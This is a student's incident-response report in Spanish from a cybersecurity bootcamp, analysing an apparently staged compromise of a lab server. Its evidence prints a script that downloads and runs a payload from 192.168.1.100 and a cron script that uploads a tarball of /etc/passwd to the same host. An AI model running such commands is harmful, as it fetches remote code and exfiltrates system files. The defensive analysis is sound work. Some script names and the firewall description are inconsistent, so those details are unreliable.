

4Geeks Academy

Bootcamp Ciberseguridad

INFORME RESPUESTA EN VIVO A INCIDENTE

Proyecto Final

Autor:
Harrison Hurtado Rocha

Septiembre 2026

INTRODUCCIÓN

en el siguiente informe se realiza análisis en tiempo real a servidor perteneciente a 4geeks Academy, el cual presenta una posible intrusión en su sistema, mediante la inspección de directorios, archivos, procesos en ejecución, tareas crontab programadas, se obtuvo evidencia de exfiltración de datos hacia un dispositivo externo, adicionalmente se realizó verificación de posibles conexiones por ssh por parte de un atacante. Con esta información se establecerán controles para responder, mitigar y recuperar el funcionamiento óptimo del servidor.

HALLAZGOS Y VULNERABILIDADES DETECTADAS DURANTE LA INSPECCIÓN

1) Agente Wazuh Instalado Incorrectamente

Como primer hallazgo al iniciar la verificación del servidor comprometido se evidencia la instalación de agente Wazuh, el cual se encuentra mal configurado debido a que no cuenta con ip asignada, evitando que este pueda establecer comunicación con el Wazuh manager para el envío de los registros de seguridad(logs).

2) Archivo chat.txt

se encuentra archivo de nombre "chat.txt" el cual contiene un correo sospechoso de remitente desconocido y sugiere que se ejecute el script backup enviado en la mañana. este correo podría ser una acción por parte del atacante para despistar e encubrir la intrusión, haciendo parecer como culpable al usuario administrador.

3) Servidor Apache

se encuentra un servidor web apache2, brindando un servicio por el puerto 80.

4) Script [install.sh](#) Detectado

el script se encuentra ubicado en el usuario Reports, fue utilizado probablemente para enviar una shell, carga útil o un documento valioso de nombre "payload" hacia la IP 192.168.1.100 para establecer una conexión y posteriormente fue borrado dicho archivo por parte del atacante para eliminar huellas.

5) Script [Backup2.sh](#)

fue encontrado en una carpeta del sistema con ruta: /usr/local/bin/[backup2.sh](#), este script es el shell que está generando persistencia en la intrusión del atacante por medio de una tarea crontab programada cada 15 minutos y adicionalmente está permitiendo iniciar sesión como root

.

6) Historial Bash Eliminado

se logró observar que el historial de bash fue eliminado por el atacante muy probablemente con el fin de eliminar rastro de acciones maliciosas

7) Archivo Comprimido Secrets.tgz

se realiza verificación del archivo Secrets.tgz, encontrado en el interior del script [Backup2.sh](#), luego se descomprime el archivo y se observa que contiene el archivo passwd, el cual contiene las cuentas de usuario registradas en el sistema

8) Firewall Completamente Abierto

Durante la verificación de las reglas del Firewall, las cuales son las primera linea básica de defensa de cualquier sistema, se evidencia que están abiertas para aceptar tanto de entrada como de salida casi todo tipo de tráfico, lo cual deja expuesto totalmente el servidor a cualquier tipo de ataque.

9) Procesos Sospechoso Ejecutados

se logra observar comandos y procesos sospechosos en el sistema como la creación de un nuevo usuario llamado "lxd", creación de nuevos grupos, servidor puesto a la escucha en el puerto 22, cron:sesión abierta como usuario Root. procesos que no deberían ser iniciados por systemd.

10) Configuración de Cifrado de Datos SSL Desactivada

se logró descubrir que el cifrado SSL no se encuentra activo, lo cual significa que el protocolo de seguridad que cifra la conexión entre un navegador y el servidor no está en función, dejando expuesta la información que se está enviando y podría desencadenar un ataque como "man in the middle".

11) Intentos de Inicio de Sesión Fallidos

Se observó intentos fallidos de login por parte del usuario sysadmin y para escalar privilegios a usuario Root.

CONTENCIÓN, ERRADICACIÓN Y RECUPERACIÓN DEL SISTEMA

En esta fase se inicia la respuesta al incidente en el servidor de 4Geeks, el cual presentó una intrusión y exfiltración de datos. se procede a erradicar y corregir todas las acciones realizadas por el atacante a nuestro servidor, limpiar la red, Restringir cuentas de usuario comprometidas, eliminar archivos maliciosos y puertas trasera, corregir las brechas de seguridad, realizar actualizaciones y parches de seguridad para restablecer el funcionamiento seguro y así garantizar la continuidad del negocio.

- Se realizó la correcta instalación del agente Wazuh en el servidor, asignando la ip correspondiente para que pueda establecer conexión con el Wazuh manager y de esta manera poder monitorear y evaluar todos los procesos del servidor.
- Se elimina el script malicioso [install.sh](#), el cual fue utilizado probablemente para enviar una shell, carga útil o un documento hacia la IP 192.168.1.100 para establecer una conexión.
- Se elimina la tarea crontab que está ejecutando el script malicioso [bacukp2.sh](#) cada 15 minutos, generando así la persistencia para nuevas conexiones por parte del atacante.
- se eliminó cuentas de usuarios como “pollinate” y “lxd”, las cuales estaban en ubicaciones indebidas, adicionalmente se cambio la contraseña del superusuario y de los usuarios activos en el servidor para evitar que el atacante nuevamente pueda iniciar session en el servidor con las antiguas credenciales de estos usuarios.
- Se realiza reestructuración minuciosa de las reglas del firewall, en las que se permita el acceso solamente a las conexiones necesarias para gestionar los servicios brindados por el servidor, de esta manera se bloquea la entrada a una amplia gama de ataques por ciberdelincuentes.
- se procede a activar el cifrado SSL, el cual no estaba disponible posiblemente porque el certificado SSL del sitio web expiró o estaba mal instalado.
- Se procede a cerrar puertos que no estén brindando un servicio o no sean requeridos en el momento, como el puerto 22 y 21, los cuales pueden ser un vector de ataque hacia el servidor de 4Geeks.

MEDIDAS DE PREVENCIÓN Y FORTALECIMIENTO DEL SERVIDOR 4GEEKS

1) Implementar Firewall de Aplicaciones Web(WAF)

Se recomienda implementar WAF en las aplicaciones del servidor para establecer un monitoreo estricto del tráfico entrante y saliente hacia el servidor, verificando que cada petición cumpla con reglas de seguridad. con la utilización de esta herramienta se protege al servidor de ataques como inyección SQL, Cross Site Scripting (XSS), y Denegación de Servicio (DDOS).

2) Implementar MFA Para Acceso al Servidor

Se debe implementar el método MFA para todos los usuarios que ingresen al servidor, esto permitirá reforzar la seguridad en el acceso al servidor, bloqueando hackers, robos de credenciales y nos permite comprobar de distintas maneras la identidad del usuario.

3) Implementar sistemas IDS/IPS

Para complementar la seguridad en la red es muy importante instalar un sistema perimetral de seguridad como IDS/IPS para analizar a profundidad el contenido de los datos y bloquear de manera oportuna cualquier anomalía detectada, su principal ventaja es la capacidad que posee para cerrar conexiones, descartar paquetes maliciosos o configurar el firewall de forma automatizada.

4) Herramientas Data Loss Prevention(DLP)

Se recomienda el uso de herramientas y procedimientos DLP para proteger, monitorear, prevenir la exfiltración y transmisión de datos no autorizada, protegiendo de esta manera la información vital del servidor y garantizando el cumplimiento de las normativas y regulaciones. Adicionalmente estas herramientas proporcionan controles que nos permiten estipular el cómo y dónde se puede manipular los datos, restringiendo acciones según el canal de salida (correos electrónicos, herramientas de nube, y puertos USB).

5) Escáneres de Vulnerabilidades

La implementación de esta herramienta automatizada nos permite ir un paso adelante en el proceso de prevención de ataques, busca cualquier brecha de seguridad, clasifica los riesgos encontrados, busca errores de configuración y puntos débiles en redes. y por último muestra toda esta información en un reporte.

6) Establecer Programas de Capacitaciones en seguridad de la información

se debe implementar programas de capacitación al personal de administradores del servidor, enfocados en la implementación de hardening para reducir la superficie de ataque, configuración de firewall para controlar estrictamente el tráfico en la red, bloqueos de sesión obligatorios al levantarse del sitio de trabajo, Política de escritorio limpio al finalizar la jornada laboral, y navegación web segura.

EVIDENCIAS DE ANÁLISIS Y HALLAZGOS

- Archivo ejecutable de nombre [install2.sh](#) utilizado para cargar posiblemente una shell o transferir un documento hacia la IP 192.168.1.100

```
sysadmin@4geeks-server:/home/reports$ cat install.sh
#!/bin/bash

echo "[*] Preparing enviroment..."
sleep 1
mkdir -p /tmp/.temp
echo "[*] Downloading dependencies..."
sleep 2
curl -s http://192.168.1.100/payload.bin -o /tmp/.temp/payload
chmod +x /tmp/.temp/payload
/tmp/.temp/payload &
echo "[*] Installation complete."
sysadmin@4geeks-server:/home/reports$
```

- Script [backup2.sh](#) programado en las tareas crontab para ejecutarse cada 15 minutos

```

[3]+  Stopped                  ps aux | grep --color=auto --color=auto -v "[" | less
sysadmin@4geeks-server:/home$
sysadmin@4geeks-server:/home$ ls /etc/cron.d/ && cat /etc/cron.d/* && crontab -l
e2scrub_all logrotate popularity-contest sys-maintenance
30 3 * * 0 root test -e /run/systemd/system || SERVICE_MODE=1 /usr/lib/x86_64-linux-gnu/e2fsprogs/e2scrub_all_cron
10 3 * * * root test -e /run/systemd/system || SERVICE_MODE=1 /sbin/e2scrub_all -A -r
0 0 * * * root /opt/scripts/logrotate.sh
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
35 0 * * * root test -x /etc/cron.daily/popularity-contest && /etc/cron.daily/popularity-contes
t --crond
*/15 * * * * root /usr/local/bin/backup2.sh
no crontab for sysadmin
sysadmin@4geeks-server:/home$

```

- Contenido del Script backup, el cual envía cada 15 minutos el archivo secrets.tgz que en su interior contiene la ruta del archivo de cuentas de usuarios passwd.

```
GNU nano 4.8 backup2.sh
#!/bin/bash
tar -czf /tmp/secrets.tgz /etc/passwd
curl -X POST -F 'file=@/tmp/secrets.tgz' http://192.168.1.100:8080/upload
```

- Archivo sospechoso llamado chat.txt

```
sysadmin@4geeks-server:/home$ cd reports/
sysadmin@4geeks-server:/home/reports$ ls
backup.log chat.txt install.sh
sysadmin@4geeks-server:/home/reports$ cat chat.txt
From: unknown@externalmail.com
---
Hey, run that script I sent you earlier.
Don't worry, it's clean. Let me know once the backup finishes.
sysadmin@4geeks-server:/home/reports$
```

- Reglas del Firewall Mal Configuradas

```
GNU nano 4.8 archivo.txt Modified
Chain INPUT (policy DROP)
num target prot opt source destination
1 ufw-before-logging-input all -- anywhere anywhere
2 ufw-before-input all -- anywhere anywhere
3 ufw-after-input all -- anywhere anywhere
4 ufw-after-logging-input all -- anywhere anywhere
5 ufw-reject-input all -- anywhere anywhere
6 ufw-track-input all -- anywhere anywhere

Chain FORWARD (policy DROP)
num target prot opt source destination
1 ufw-before-logging-forward all -- anywhere anywhere
2 ufw-before-forward all -- anywhere anywhere
3 ufw-after-forward all -- anywhere anywhere
4 ufw-after-logging-forward all -- anywhere anywhere
5 ufw-reject-forward all -- anywhere anywhere
6 ufw-track-forward all -- anywhere anywhere

Chain OUTPUT (policy ACCEPT)
num target prot opt source destination
1 ufw-before-logging-output all -- anywhere anywhere
2 ufw-before-output all -- anywhere anywhere
3 ufw-after-output all -- anywhere anywhere
4 ufw-after-logging-output all -- anywhere anywhere
5 ufw-reject-output all -- anywhere anywhere
6 ufw-track-output all -- anywhere anywhere

Chain ufw-after-forward (1 references)
num target prot opt source destination

Chain ufw-after-input (1 references)
num target prot opt source destination
1 ufw-skip-to-policy-input udp -- anywhere anywhere udp dpt:netbios-ns

^G Get Help ^O Write Out ^W Where Is ^K Cut Text ^J Justify ^C Cur Pos M-U Undo
^X Exit ^R Read File ^_ Replace ^U Paste Text ^T To Spell ^_ Go To Line M-E Redo
```

- Historial de Bash Eliminado

```
The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Wed Sep 23 23:59:48 UTC 2026 on tty1
sysadmin@4geeks-server:~$ history
  1  rm ~/.bash_history
  2  exit
  3  echo "Reminder: new credentials for reports stored temporarily in /opt/.archive" | sudo tee /home/reports/.note
  4  exit
  5  sudo mkdir -p /opt/.archive
  6  echo "reports:reports123" | sudo tee /opt/.archive/credentials.txt
  7  sudo chmod 644 /opt/.archive/credentials.txt
  8  echo "cat /opt/.archive/credentials.txt" | sudo tee /home/reports/.bash_history
  9  sudo chown reports:reports /home/reports/.bash_history
 10  echo "wget http://192.168.1.100/install.sh" | sudo tee -a /home/reports/.bash_history
 11  echo "chmod +x install.sh" | sudo tee -a /home/reports/.bash_history
 12  echo "./install.sh" | sudo tee -a /home/reports/.bash_history
 13  echo "nano backup.log" | sudo tee -a /home/reports/.bash_history
 14  sudo chown reports:reports /home/reports/.bash_history
 15  sudo touch /home/reports/install.sh
 16  sudo nano /home/reports/install.sh
 17  sudo touch /home/reports/backup.log
 18  sudo nano /home/reports/backup.log
 19  sudo chown reports:reports /home/reports/install.sh /home/reports/backup.log
 20  ls
 21  pwd
 22  sudo nano /home/reports/chat.txt
 23  sudo chown reports:reports /home/reports/chat.txt
 24  exit
 25  cat /var/backups/.logs/creds.txt
 26  sudo mkdir -p /var/backups/.logs
 27  echo "reports:reports123" | sudo tee /var/backups/.logs/creds.txt
 28  sudo chmod 644 /var/backups/.logs/creds.txt
 29  echo "cat /var/backups/.logs/creds.txt" | sudo tee -a /home/sysadmin/.bash_history
 30  history
sysadmin@4geeks-server:~$ _
```

- Intentos de login Fallidos

```
Jun 21 19:04:11 4geeks-server useradd[784]: add 'sysadmin' to shadow group 'lxd'
Jun 21 19:04:11 4geeks-server systemd-logind[834]: New seat seat0.
Jun 21 19:04:11 4geeks-server systemd-logind[834]: Watching system buttons on /dev/input/event0 (Po>
Jun 21 19:04:11 4geeks-server systemd-logind[834]: Watching system buttons on /dev/input/event1 (S1>
Jun 21 19:04:11 4geeks-server systemd-logind[834]: Watching system buttons on /dev/input/event2 (AT>
Jun 21 19:04:11 4geeks-server sshd[958]: Server listening on 0.0.0.0 port 22.
Jun 21 19:04:20 4geeks-server useradd[1318]: new user: name=lxd, UID=998, GID=100, home=/var/snap/l>
Jun 21 19:04:27 4geeks-server sshd[958]: Received signal 15; terminating.
Jun 21 19:04:27 4geeks-server sshd[1632]: Server listening on 0.0.0.0 port 22.
Jun 21 19:04:27 4geeks-server sshd[1632]: Server listening on :: port 22.
Jun 21 19:05:06 4geeks-server login[901]: pam_unix(login:session): session opened for user sysadmin>
Jun 21 19:05:06 4geeks-server systemd-logind[834]: New session 1 of user sysadmin.
Jun 21 19:05:06 4geeks-server systemd: pam_unix(systemd-user:session): session opened for user sysa>
Jun 21 19:17:01 4geeks-server CRON[1901]: pam_unix(cron:session): session opened for user root by (>
Jun 21 19:17:01 4geeks-server CRON[1901]: pam_unix(cron:session): session closed for user root
Jun 21 19:36:14 4geeks-server su: pam_unix(su:auth): authentication failure; logname=sysadmin uid=1>
Jun 21 19:36:16 4geeks-server su: FAILED SU (to root) sysadmin on tty1
Jun 21 19:36:53 4geeks-server su: pam_unix(su:auth): authentication failure; logname=sysadmin uid=1>
Jun 21 19:36:56 4geeks-server su: FAILED SU (to root) sysadmin on tty1
[ File 'auth.log' is unwritable ]
^G Get Help      ^O Write Out    ^W Where Is     ^K Cut Text     ^J Justify      ^C Cur Pos      M-U Undo
^X Exit          ^R Read File    ^_ Replace      ^U Paste Text   ^T To Spell     ^_ Go To Line   M-E Redo
```

- Cifrado de Datos SSL Deshabilitado

```
# This option specifies the location of the RSA certificate to use for SSL
# encrypted connections.
rsa_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem
rsa_private_key_file=/etc/ssl/private/ssl-cert-snakeoil.key
ssl_enable=NO
```

- Servicios Activos Sospechosos

```
}]: command not found
sysadmin@4geeks-server:/etc$ systemctl lists-units --type=service --state=running
Unknown operation lists-units.
sysadmin@4geeks-server:/etc$ systemctl list-units --type=service --state=running
```

UNIT	LOAD	ACTIVE	SUB	DESCRIPTION
accounts-daemon.service	loaded	active	running	Accounts Service
apache2.service	loaded	active	running	The Apache HTTP Server
atd.service	loaded	active	running	Deferred execution scheduler
cron.service	loaded	active	running	Regular background program processing daemon
dbus.service	loaded	active	running	D-Bus System Message Bus
getty@tty1.service	loaded	active	running	Getty on tty1
irqbalance.service	loaded	active	running	irqbalance daemon
ModemManager.service	loaded	active	running	Modem Manager
multipathd.service	loaded	active	running	Device-Mapper Multipath Device Controller
networkd-dispatcher.service	loaded	active	running	Dispatcher daemon for systemd-networkd
polkit.service	loaded	active	running	Authorization Manager
rsyslog.service	loaded	active	running	System Logging Service
snaped.service	loaded	active	running	Snap Daemon
ssh.service	loaded	active	running	OpenBSD Secure Shell server
systemd-journald.service	loaded	active	running	Journal Service
systemd-logind.service	loaded	active	running	Login Service
systemd-networkd.service	loaded	active	running	Network Service
systemd-resolved.service	loaded	active	running	Network Name Resolution
systemd-timesyncd.service	loaded	active	running	Network Time Synchronization
systemd-udevd.service	loaded	active	running	udev Kernel Device Manager
udisks2.service	loaded	active	running	Disk Manager
unattended-upgrades.service	loaded	active	running	Unattended Upgrades Shutdown
user@1000.service	loaded	active	running	User Manager for UID 1000
vsftpd.service	loaded	active	running	vsftpd FTP server
wazuh-agent.service	loaded	active	running	Wazuh agent

```
LOAD    = Reflects whether the unit definition was properly loaded.
ACTIVE  = The high-level unit activation state, i.e. generalization of SUB.
SUB     = The low-level unit activation state, values depend on unit type.

25 loaded units listed.
sysadmin@4geeks-server:/etc$
```

Conclusión

En la actualidad cada día son más frecuentes este tipo de incidentes en los que se presentan intrusiones al sistema y afectan la seguridad de la información y los recursos, por lo que, contar con una sólida estructura de la seguridad de la información debe ser un objetivo primario en todas empresas, en este caso se resalta la importancia de tener nuestros sistemas configurados correctamente y actualizados con las últimas versiones, contar con cifrado en las comunicaciones, autenticación MFA, reglas del firewall estrictamente configuradas, y adquirir todas las herramientas y procedimientos de nueva generación para contrarrestar de manera efectiva todos los intentos de vulneración a nuestro servidor.